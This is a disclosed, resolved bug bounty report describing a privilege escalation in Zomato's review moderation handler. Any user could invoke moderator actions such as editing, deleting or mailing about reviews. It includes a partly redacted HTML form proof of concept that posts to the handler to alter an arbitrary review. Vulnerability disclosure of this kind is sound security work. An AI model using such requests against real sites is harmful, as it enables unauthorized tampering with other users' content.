[www.zomato.com] Privilege Escalation - Control reviews - /████dashboard_handler.php

Disclosed: 2018-03-29 16:58:58 By gerben_javado To zomato
Unknown
Vulnerability Details
#Introduction The handler that controls all the ███ actions for reviews is accessible for any user. The following actions are thus being left open to anyone: ``` get_manager_status read███████ unread██████████ ████████ feature██████ unfeature████████ moderate████ unmoderate█████ drop ███ send_mail █████████ revoke mark-spam spam-revoke remove-██████ add-█████████ reject_reported█████████ ███████ ``` Taken from the following [██████████]████████ #POC This POC will use the action `██████` since it easily allows us to edit any review on Zomato.com. More severe options could be ██████ to read user info. ```html <form action="https://www.zomato.com/██████████dashboard_handler.php" method="POST"> <input type="hidden" name="action" value="█████" /> <input type="hidden" name="review_id" value="31268525" /> <input type="hidden" name="review" value="Privilege+Escalation" /> <input type="submit" value="Submit request" /> </form> ``` Go to https://www.zomato.com/review/QvneAY and see the review has changed. ## Impact Any user is able to control all the ████ actions for the reviews section including emailing, deleting, editing and adding to ██████████.
Actions
View on HackerOne
Report Stats
  • Report ID: 300099
  • State: Closed
  • Substate: resolved
  • Upvotes: 18
Share this report